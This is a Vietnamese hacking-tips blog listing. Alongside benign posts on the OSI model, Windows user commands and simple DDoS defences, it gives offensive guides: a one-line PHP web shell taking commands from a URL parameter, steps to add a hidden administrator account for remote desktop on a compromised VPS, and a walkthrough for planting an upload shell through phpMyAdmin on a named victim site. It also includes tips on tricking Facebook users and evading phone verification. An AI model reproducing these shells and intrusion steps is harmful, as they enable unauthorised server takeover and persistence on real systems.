Hiển thị các bài đăng có nhãn Thủ Thuật. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Thủ Thuật. Hiển thị tất cả bài đăng
25 thg 5, 2014
Mô hình 7 tầng OSI
Mô hình OSI mô tả phương thức truyền tin từ các chương trình ứng dụng của một hệ thống máy tính đến các chương trình ứng dụng của một hệ thống khác thông qua các phương tiện truyền thông vật lý. Thông tin từ một ứng dụng trên hệ thống máy tính A sẽ đi xuống các lớp thấp hơn, cuối cùng qua các thiết bị vật lý đến hệ thống máy tính B. Sau đó ở hệ thống B, thông tin sẽ đi từ lớp thấp nhất đến cao nhất - chính là ứng dụng của hệ thống máy tính B. Như vậy mỗi lớp trong hai hệ thống máy tính A, B đều truyền thông với nhau qua một giao thức (Protocol) nào đó.Mô hình OSI gồm có 7 lớp: Lớp ứng dụng, lớp biểu diễn dữ liệu, lớp kiểm soát nối, lớp vận chuyển, lớp mạng, lớp liên kết dữ liệu và lớp vật lý. Sau đây là mô tả các lớp trong mô hình OSI.
Lớp ứng dụng (Application layer)
Lớp ứng dụng trong mô hình OSI là tầng trên cùng trong bộ giao thức, có chức năng cung cấp các dịch vụ cao cấp (trên cơ sở các giao thức cao cấp) cho người sử dụng và các chương trình ứng dụng. Lớp này như là giao diện của người sử dụng và các ứng dụng để truy cập các dịch vụ mạng.
Lớp ứng dụng cung cấp các chức năng sau:
- Chia sẻ tài nguyên và các thiết bị.
- Truy cập file từ xa.
- Truy cập máy in từ xa.
- Hỗ trợ RPC.
- Quản lý mạng.
- Dịch vụ thư mục.
Lớp biểu diễn dữ liệu (Presentation layer)
Lớp trình diễn hoạt động như tầng dữ liệu trên mạng. lớp này trên máy tính truyền dữ liệu làm nhiệm vụ dịch dữ liệu được gửi từ tầng Application sang dạng Fomat chung. Và tại máy tính nhận, lớp này lại chuyển twf Fomat chung sang định dạng của tầng Application. Lớp thể hiện thực hiện các chức năng sau:
- Dịch các mã kí tự từ ASCII sang EBCDIC.
- Chuyển đổi dữ liệu, ví dụ từ số interger sang số dấu phảy động.
- Nén dữ liệu để giảm lượng dữ liệu truyền trên mạng.
- Mã hoá và giải mã dữ liệu để đảm bảo sự bảo mật trên mạng.
Lớp phiên (Session layer)
Lớp phiên thành lập một kết nối giữa các tiến trình đang chạy trên các máy tính khác nhau. Các chức năng của tầng phiên bao gồm:
- Cho phép tiến trình ứng dụng đăng kí một địa chỉ duy nhất như là NetBIOS name. Lớp này lưu các địa chỉ đó để chuyển sang địa chỉ của NIC từ địa chỉ của tiến trình.
- Thành lập, theo dõi, kết thúc Virtual circuit session giữa hai tiến trình dựa trên địa chỉ duy nhất của nó.
- Định danh thông báo, thêm các thông tin xác định bắt đầu và kết thúc thông báo.
- Đồng bộ dữ liệu và kiểm tra lỗi.
Lớp vận chuyển (Transport layer)
Ranh giới giữa lớp biểu diễn dữ liệu và lớp vận chuyển cũng có thể được xem là ranh giới giữa các giao thức thuộc lớp ứng dụng và các giao thức phía dưới. Trong khi các lớp ứng dụng, lớp biểu diễn dữ liệu và lớp phiên đều có liên quan đến ứng dụng thì 4 lớp ở phía dưới gắn với việc truyền dữ liệu.
Chức năng của lớp vận chuyển là cung cấp các dịch vụ cho việc thực hiện vận chuyển dữ liệu giữa các chương trình ứng dụng một cách tin cậy, bao gồm cả khắc phục lỗi và điều khiển lưu thông. Mục đích chính là đảm bảo dữ liệu được truyền đi không bị mất và bị trùng.
Các nhiệm vụ cụ thể của lớp vận chuyển là :
- Nhận các thông tin từ tầng trên và chia nhỏ thành các đoạn dữ liệu nếu cần.
- Cung cấp sự vận chuyển tin cậy (End to End) với các thông báo (Acknowledment).
- Chỉ dẫn cho máy tính không truyền dữ liệu khi buffer là không có sẵn.
Lớp mạng (Network layer)
Lớp mạng là một lớp phức tạp, cung cấp các dịch vụ về chọn đường đi và kết nối giữa hai hệ thống, điều khiển và phân phối dòng dữ liệu truyền trên mạng để tránh tắc nghẽn. Lớp mạng có trách nhiệm địa chỉ hoá, dịch từ địa chỉ logic sang địa chỉ vật lý, định tuyến dữ liệu từ nơi gửi tới nơi nhận. Nó xác định đường truyền nào tốt trên cơ sở các điều kiện của mạng, quyền ưu tiên dịch vụ. Nó cũng quản lý các vấn đề giao thông trên mạng như chuyển mạch, định tuyến và điều khiển sự tắc nghẽn của dữ liệu.
Lớp mạng liên quan đến việc truyền thông giữa các thiết bị trên các mạng tách biệt về logic, được liên kết để trở thành liên mạng. Do các liên mạng có thể rất lớn và có thể được kiến tạo từ các kiểu mạng khác nhau, nên lớp mạng vận dụng các thuật toán định tuyến để hướng các gói tin từ các mạng nguồn đến các mạng đích.
Thành phần chính của lớp mạng là mỗi mạng trong liên mạng được gán một địa chỉ, có thể dùng nó để định tuyến một gói tin. Nó đảm nhiệm các nhiệm vụ sau:
- Định địa chỉ
- Xây dựng các thuật toán định tuyến
- Cung cấp các dịch vụ kiên kết
Lớp liên kết dữ liệu (Data link layer)
Lớp này có nhiệm vụ truyền các khung dữ liệu từ máy tính này sang máy tính khác qua tầng vật lý, đảm bảo tin cậy, gửi các khối dữ liệu với các cơ chế đồng bộ hoá, kiểm soát lỗi và kiểm soát luồng dữ liệu. Cụ thể lớp dât link thực hiện các chức năng sau:
- Thành lập và kết thúc liên kết logic giữa hai máy tính.
- Đóng gói dữ liệu thô từ tầng vật lý thành các Frame.
- Điều khiển các frame dữ liệu: phân tích các tham số của frame dữ liệu, phát hiện lỗi và gửi lại dữ liệu nếu có lỗi.
- Quản lý quyền truy nhập cáp, xác định khi nào thì máy tính có quyền truy nhập cáp.
Lớp vật lý (Physical layer)
Lớp vật lý là lớp thấp nhất trong mô hình OSI, đảm nhiệm toàn bộ công việc truyền dẫn dữ liệu bằng phương tiện vật lý. Nó xác định các giao diện về mặt điện học và cơ học giữa một trạm thiết bị và môi trường truyền thông cụ thể như sau:
- Các chi tiết về cấu trúc mạng (bus, cây, hình sao,...)
- Chuẩn truyền dẫn (RS-485, IEC 1158-2, truyền cáp quang,...)
- Phương pháp mã hóa bit (NRZ, Manchester, FSK,...)
- Chế độ truyền tải
- Tốc độ truyền dữ liệu
- Giao diện cơ học ( phích cắm, giắc cắm,...)
Nguồn: lãng tử kids
Xem chi tiết »
18 thg 5, 2014
Hướng dẫn tạo user và nâng quyền để remote desktop VPS
khi ta có shell rồi trước tiên là ta xem user trên vps:net userrồi tạo user:
net user kiz579 123456 /add* kiz579 là user
* 123456 là mật khẩu
rồi phải nâng quyền user đó lên mới remete desktop dc,ta dùng lệnh này:
net localgroup Administrators kiz579 /addok giờ ta xem trong group admin có tên kiz579 chưa:
net localgroup Administratorsquên nửa ở đây cổng mặc định là 3389,nhưng server nó đổi rồi sẽ hok login dc,ta dùng lệnh này:
netstat -nanó sẽ liệt kê tất cả port,tới đây ta mò :))
nhìn cái LISTENING nó ở đó giờ ta mò từng port , hok dc ta thử port khác cho đến khi ra thì thôi
nhớ điều này nửa mỗi khi nếu mún thoát ra khỏi vps thì chọn log off nha
shell cmd.php
(nội dung trong shell)
<pre><?php system($_GET[cmd]);?></pre>sử dụng:
http://domain.com/cmd.php?cmd=lệnh dos :)ví dụ liệt kê danh sách file và thư mục nằm ngang với file cmd.php
http://domain.com/cmd.php?cmd=dir* các bạn hok cần dùng nó cũng dc,miễn sao các bạn có shell trên server thì ngon :))
* nếu các bạn cần xem video thì liên hệ mình :))
Nguồn : lãng tử kids
Xem chi tiết »
17 thg 5, 2014
Quản lí users với Command Prompt
Nếu bạn lười tạo bằng giao diện GUI hay là bạn không thể truy cập bảng User Account…đây là giải pháp thứ hai thay thế.
Đầu tiên, bạn mở Command Prompt lên (Start > Run đánh lệnh cmd, hoặc muốn Command Prompt cổ lỗ sĩ thì đánh lệnh command). Ở đây mình chọn cmd.
Đầu tiên, để xem list users trong hệ thống, bạn đánh net users, mình nhận đc kết quả như thế này :
Sau đó, để thêm một users vào bạn đánh net users tên_user /add; Ờ đây mình ví dụ : net users kiz /add, như sau :
Sau đó bạn kiểm tra lại danh sách users :
Vậy là user kiz đã có trong danh sách users rồi đó.
Để xem danh sách các nhóm group(s) trong hệ thống, bạn đánh lệnh net localgroup Mình thu được kết quả như sau :
Từ danh sách các nhóm trên bạn có thể truy xuất users trong mỗi nhóm bằng net localgroup tên_nhóm, ví dụ mình type : net localgroup Users và đánh enter, thu được danh sách các user trong nhóm Users, cụ thể là User kiz đã tạo ở trên :
Nâng quyền User
Bạn có thể nâng quyền user lên bất kì cấp nào trong nhóm nào bạn muốn; để thực hiện điều này bạn theo cú pháp net localgroup nhóm_cần_vào tên_user /add
Ví dụ :
Check lại xem user kiz đã thực sự thêm vào nhóm Administrator chưa :
Thu được
Hạ quyền User
Bạn có thể drop quyền user nào đó bằng cách gỡ user đó ra khỏi nhóm chỉ định. Để xác định User đó thuộc nhóm nào, bạn type : net users tên_user và nhìn xuống dòng Local Group Memberships. Ở đây, ví dụ user kiz sẽ là :
Vậy là ta đã xác định user Huy nằm trong nhóm Administrators. Để drop quyền user này ta sẽ gỡ nó ra khỏi nhóm Administrators. Type lệnh sau để gỡ bỏ :
Xóa User
Để xóa một user, bạn type lệnh : net users tên_user /del
*Kinh nghiệm riêng : một số bạn sau khi xóa users trong Command Prompt xong, vào C:\Documents And Settings\ để xóa data của user đó sẽ không được. Lý do đó là file ntuser.dat của user đó đã chặn lại. Cách fix : restart lại PC, log vào tài khoản Administrators và thực hiện lại lần nữa.
*Khi tạo xong 1 user nào đó, restart máy lại ta sẽ log vào chính user đó. Ví dụ tạo account kiz, khi restart máy lại ta sẽ log vào account của kiz thay vì của Administrator.
Đầu tiên, bạn mở Command Prompt lên (Start > Run đánh lệnh cmd, hoặc muốn Command Prompt cổ lỗ sĩ thì đánh lệnh command). Ở đây mình chọn cmd.
Đầu tiên, để xem list users trong hệ thống, bạn đánh net users, mình nhận đc kết quả như thế này :
Trích:
| User accounts for \\SCIFI ------------------------------------------------------------------------------- Administrator Guest Help Assistant The command completed successfully. |
Trích:
| net users kiz /add The command completed successfully. |
Trích:
| User accounts for \\SCIFI ------------------------------------------------------------------------------- Administrator Guest Help Assistant kiz The command completed successfully. |
Để xem danh sách các nhóm group(s) trong hệ thống, bạn đánh lệnh net localgroup Mình thu được kết quả như sau :
Trích:
| Aliases for \\SCIFI ------------------------------------------------------------------------------- *Administrators *Backup Operators *Guests *Network Configuration Operators *Power Users *Remote Desktop Users *Replicator *Users The command completed successfully. |
Trích:
| Alias name Users Comment Users are prevented from making accidental or intentional system-wide changes. Thus, Users can run certified applications, but not most legacy applications Members ------------------------------------------------------------------------------- kiz NT AUTHORITY\Authenticated Users NT AUTHORITY\INTERACTIVE The command completed successfully. |
Bạn có thể nâng quyền user lên bất kì cấp nào trong nhóm nào bạn muốn; để thực hiện điều này bạn theo cú pháp net localgroup nhóm_cần_vào tên_user /add
Ví dụ :
Trích:
| net localgroup Administrators kiz /add The command completed successfully. |
Trích:
| net localgroup Administrators |
Trích:
| Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator kiz The command completed successfully. |
Bạn có thể drop quyền user nào đó bằng cách gỡ user đó ra khỏi nhóm chỉ định. Để xác định User đó thuộc nhóm nào, bạn type : net users tên_user và nhìn xuống dòng Local Group Memberships. Ở đây, ví dụ user kiz sẽ là :
Trích:
| *Administrators *Users |
Trích:
| net localgroup Administrators kiz /del The command completed successfully. |
Để xóa một user, bạn type lệnh : net users tên_user /del
Trích:
| net users kiz /del The command completed successfully. |
*Khi tạo xong 1 user nào đó, restart máy lại ta sẽ log vào chính user đó. Ví dụ tạo account kiz, khi restart máy lại ta sẽ log vào account của kiz thay vì của Administrator.
Nguồn : lãng tử kids
16 thg 5, 2014
How to Change User Password at Command Prompt Print
TÓM TẮT
Bài viết này mô tả cách sử dụng lệnh net user để thay đổi mật khẩu người dùng tại Windows command prompt. Chỉ có quyền quản trị mới có thể thay đổi mật khẩu.
CHI TIẾT
Để thay đổi mật khẩu của người sử dụng tại CMD, đăng nhập với quyền quản trị viên và gõ:
Ngoài ra, bạn có thể gõ lệnh sau:
*new_password là mật khẩu bạn mún thay đổi
Khi bạn làm như vậy, thay đổi mật khẩu mà không cần nhắc bạn một lần nữa. Lệnh này cũng cho phép bạn thay đổi mật khẩu trong một tập tin thực thi.
Xem chi tiết »
net user user_name * /domainKhi bạn được nhắc nhập một mật khẩu cho người sử dụng, gõ mật khẩu mới, không phải là mật khẩu hiện tại. Sau khi bạn gõ mật khẩu mới, hệ thống sẽ nhắc bạn nhập lại mật khẩu để xác nhận.
Ngoài ra, bạn có thể gõ lệnh sau:
net user user_name new_password*user_name là tên của bạn
*new_password là mật khẩu bạn mún thay đổi
Khi bạn làm như vậy, thay đổi mật khẩu mà không cần nhắc bạn một lần nữa. Lệnh này cũng cho phép bạn thay đổi mật khẩu trong một tập tin thực thi.
Nguồn by: lãng tử kids
Up Shell Via phpMyAdmin
Bước 1: Tìm Path của document rootThông thường vào link http://www.victim.com/xampp/ đê xem document root
Ví dụ: http://www.ehtpe.co.cu/xampp/ +
Vào Php infor() để xem path document root : C:/xampp/htdocs
Bước 2: Loggin và cơ sở dữ liệu: http://www.ehtpe.co.cu/phpmyadmin
Bước 3: Tạo Database mới
Ví dụ: VHB_Group. Sử dụng query:
CREATE DATABASE VHB_Group;
Bước 4: Tạo table mớ i
Trong database VHB_Group vừa tạo, tạo table mới, đặt tên là soleil,
sử dụng query sau:
CREATE TABLE soleil (contentshell varchar(10000) not null)
Bước 5: Chèn code shell
INSERT INTO soleil VALUES ('<?php
if ($HTTP_POST_VARS[\'submit\'])
{
if (!is_uploaded_file($HTTP_POST_FILES[\'file\'][\'tmp_name\']))
{
$error = "You did not upload a file!";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//A file was uploaded
$maxfilesize=300000;
if ($HTTP_POST_FILES[\'file\'][\'size\'] > $maxfilesize)
{
$error = "File is too large.";
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
// assign error message, remove uploaded file, redisplay form.
}
else
{
//File has passed all validation, copy it to the final destination and remove the temporary file:
copy($HTTP_POST_FILES[\'file\'][\'tmp_name\'],$HTTP_POST_FILES[\'file\'][\'name\']);
unlink($HTTP_POST_FILES[\'file\'][\'tmp_name\']);
print "File has been successfully uploaded!";
exit;
}
}
}
?>
<html>
<head></head>
<body>
<form action="<?=$PHP_SELF?>" method="post" enctype="multipart/form-data">
<br><br>
Choose a file to upload:<br>
<input type="file" name="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>');
Bước 6: Export file php
Sử dụng querry: SELECT * INTO DUMPFILE 'path/upload.php' from table_name;
Path: là path của document root.
Ví dụ:
SELECT * INTO DUMPFILE 'C:/xampp/htdocs/upload.php' from soleil;
Bước 7: Chạy Shell
Run shell theo đường link: http://domain/upload.php
Ví dụ: http://www.ehtpe.co.cu/upload.php Xem chi tiết »
26 thg 8, 2013
Có thể bạn không biết về Facebook
Một vài điều nhỏ nhặt :))1.Facebook có thể login bằng các pass khác nhau.
Có nghĩa là bạn có thể cónhiều pass khác nhau.Sau đây là các pass tương đương nhau.
Ví dụ mình có pass là sAd_CaPuChiNo .Nếu mình hóan đổi các kí tự in hoa bằng kí tự thường và ngược lại.Được pass mới là SaD_cApUcHInO .Thi đây là một pass hợp lệ.Có thể login đc lun. Họăc nếu viết hoa kí tự đầu SAd_CaPuChiNo thì đây cũng là 1 pass hợp lệ.
2.Bạn có thể post lên facebook nguời khác mà không cần đăng nhập ( ko cần pass hay cookie gì cả).
Chỉ cần dụ đối tượng vào link sau đây m.facebook.com/upload.php?rdr và dụ victim gửi cái email trong đó cho bạn.Ùi bạn dùng email của mình.Gửi vào email vừa nhận đc.Với subject là dòng nội dung sẽ hiện lên tường của đối tượng đó.Có thể upload hình nữa nha.
Cái này mình bị nguời khác lừa >.<
3.Có thể bypass verify Phone khi đăng kí Gmail ,facebook, yahoo
Bạn có thể vào 1 trong các site sau đây http://receive-sms-online.com/ hoặc http://k7.net/ .Vào đó chọn 1 số nào đó,rồi nhập số đó vào nơi yêu cầu bạn phone verification.Và bạn sẽ nhận đc code xác nhận ở trang này.
4. Fake ip siêu nhanh bằng cách cài addon "AnonymoX Add Ons" trên firefox.
5. Có thể remove pass file rar .
Bằng cách vào trang này http://archive.online-convert.com/convert-to-zip up file cần lên.Bạn sẽ nhận đc một file không còn pass.Và nội dung cũng biến mất luôn =)) Xem chi tiết »
1 thg 12, 2012
[Video TUT] Remote Code Execution vbullentin 4.1.10 Exploit
Xem chi tiết »
20 thg 11, 2012
3 cách phòng chống DDOS cho trang web của bạn
Tấn công DDOS hay còn được gọi tấn công từ chối dịch vụ đơn giản được hiểu là tạo ra 1 lượt truy cập ảo ồ ạt vào một địa chỉ website tại cùng một thời điểm nào đó đã định sẵn nhằm “đánh sập” máy chủ lưu trữ khiến nó chạy chậm hoặc không thể chạy được nữa.
Thật sự thì không có phương pháp chống DDOS hiệu quả nhất nhưng nếu với mức độ nhỏ và mang tính không chuyên khi sử dụng các phần mềm được lập trình sẵn ở quy mô nhỏ lẻ thì ta hoàn toàn có thể chủ động phòng chống.

Cách 1: Chống iframe.
Đây là phương pháp được xem là thô sơ nhất. Kẻ tấn công sẽ mượn 1 website có lượt truy cập lớn nào đó chèn các iframe hướng về website cần đánh rồi cho chạy lệnh refresh (tải lại) nhiều lần hoặc họ viết sẵn 1 tập tin flash với công dụng tương tự rồi đặt lên website và khi người dùng truy cập vào website này thì họ vô tình bất đắc dĩ trở thành người tấn công website kia.
Với hình thức tấn công kiểu như thế này bạn hoàn toàn có thể chống lại bằng cách chèn 1 đoạn mã Javascript chống chèn iframe từ các website khác đến website của bạn.
Đây là phương pháp được xem là thô sơ nhất. Kẻ tấn công sẽ mượn 1 website có lượt truy cập lớn nào đó chèn các iframe hướng về website cần đánh rồi cho chạy lệnh refresh (tải lại) nhiều lần hoặc họ viết sẵn 1 tập tin flash với công dụng tương tự rồi đặt lên website và khi người dùng truy cập vào website này thì họ vô tình bất đắc dĩ trở thành người tấn công website kia.
Với hình thức tấn công kiểu như thế này bạn hoàn toàn có thể chống lại bằng cách chèn 1 đoạn mã Javascript chống chèn iframe từ các website khác đến website của bạn.
1.<script language="JavaScript">2.if (top.location != self.location)3.{top.location = self.location}4.</script>Bạn có thể tại đoạn mã trên tại: http://www.mediafire.com/?weephu8sgdphwel
Cách 2: Chống tải lại trang web có ác ý
Một hình thức tấn công khác nữa là dùng phím F5 liên tục có chủ ý, hoặc dùng một phần mềm được lập trình sẵn với công dụng tương tự (tải lại trang web liên tục sau những khoảng thời gian định sẵn) của một nhóm người làm cho trang web của bạn tải lại (reload) liên tục. Việc này có thể làm tốn băng thông của trang web hoặc làm trang web chạy chậm vì những kết nối ảo.
Với cách thức tấn công này thì nếu dùng cách một để chống coi như là vô ích. Nếu bạn bị tấn công như thế này thì bạn hãy thiết lập tập tin .htaccess với nội dung:
1.RewriteEngine on2.RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?domain.com [NC]3.RewriteRule !antiddos.phtml http://www.domain.com/antiddos.phtml?%{REQUEST_URI} [QSA]Sau đó tạo thêm một một tập tin antiddos.phtml có nội dung
1.<?2.$text = $HTTP_SERVER_VARS['QUERY_STRING'];3.$text = preg_replace("#php\&#si",'php?',$text);4.echo('<center><a href=http://www.domain.com/?'.$text.'><font color=red size=5 face=Monotype>[CLICK HERE TO ENTER]</font></a</center>');5.?>Sau đó bạn upload 2 tập tin này lên thư mục gốc của website. Như vậy là mỗi khi truy cập vào website, nếu lần đầu tiên thì sẽ có thông báo yêu cầu nhấn chuột thì bạn mới vào được website và ở các lần sau sẽ không có và các phần mềm DDOS được lập trình sẽ bị chặn lại ở bước click chuột để vào trang web ở lần truy cập đầu tiên nên việc tải lại trang web chỉ đơn thuần là 1 trang HTML nhỏ không ảnh hưởng nhiều đến hệ thống.
Bạn có thể đoạn mã trên tại: http://www.mediafire.com/?c41hmfeod3qxii8
Chú ý là cách này chỉ áp dụng cho website đang sử dụng server chạy trên nền Linux.
Cách 3: Giới hạn số kết nối website tại một thời điểm
Khi một khách truy cập vào website thì sẽ tạo ra một truy vấn kết nối với cơ sở dữ liệu (CSDL) lấy thông tin và trả về thông qua hiển thị của website. Mỗi máy chủ sẽ có phép bao nhiêu truy vấn kết nối là hạn định và khi vượt quá hạn mức này thì việc truy cập sẽ khó khăn hoặc không thể truy xuất được. Các tin tặc lợi dụng vào điều này để tạo ra các truy cập ảo, kết nối ảo thông qua proxy hay chuyên nghiệp hơn là mạng botnet nhằm đánh sập trang web và phá hỏng CSDL website. Để hạn chế điều này ta có thể chủ động giới hạn số kết nối truy vấn tin (lượt truy cập) cùng một thời điểm.
Bạn thêm dòng đoạn mã sau vào trang chủ của website.
01.function server_busy($numer) {02.if (THIS_IS == 'WEBSITE' && PHP_OS == 'Linux' and @file_exists ( '/proc/loadavg' ) and $filestuff = @file_get_contents ( '/proc/loadavg' )) {03.$loadavg = explode ( ' ', $filestuff );04.if (trim ( $loadavg [0] ) > $numer) {05.print '<meta http-equiv="content-type" content="text/html; charset=UTF-8" />';06.print 'Lượng truy cập đang quá tải, mời bạn quay lại sau vài phút.';07.exit ( 0 );08.}09.}10.}11.$srv = server_busy ( 1000 ); // 1000 là số người truy cập tại 1 thời điểmĐoạn mã trên có ý nghĩa cho phép 1000 người online trên website tại một thời điểm. Nếu vượt qua số 1000 thì khách truy cập sẽ nhận được thông báo: Lượng truy cập đang quá tải. Mời bạn quay lại sau vài phút.
Bạn có thể tải đoạn mã trên tại: http://www.mediafire.com/?exsl6hpd37eqnk3
Chú ý đoạn mã này chỉ áp dụng cho ngôn ngữ lập trình PHP.
Đây chỉ là ba cách chống đỡ mang tính chất giản đơn áp dụng cho những đợt tấn công nhỏ lẻ. Để website của mình hoạt động tốt và có sức chống chọi lại những đợt tấn công quy mô lớn bạn nên:
- Tối ưu hóa website ví dụ bạn có thể xây dựng bộ nhớ đệm (cache) cho website để nhằm giảm số kết nối vào CSDL.
- Lựa chọn nhà cung cấp hosting lưu trữ web tốt để có những đối phó với những đợt tấn công. Xem chi tiết »
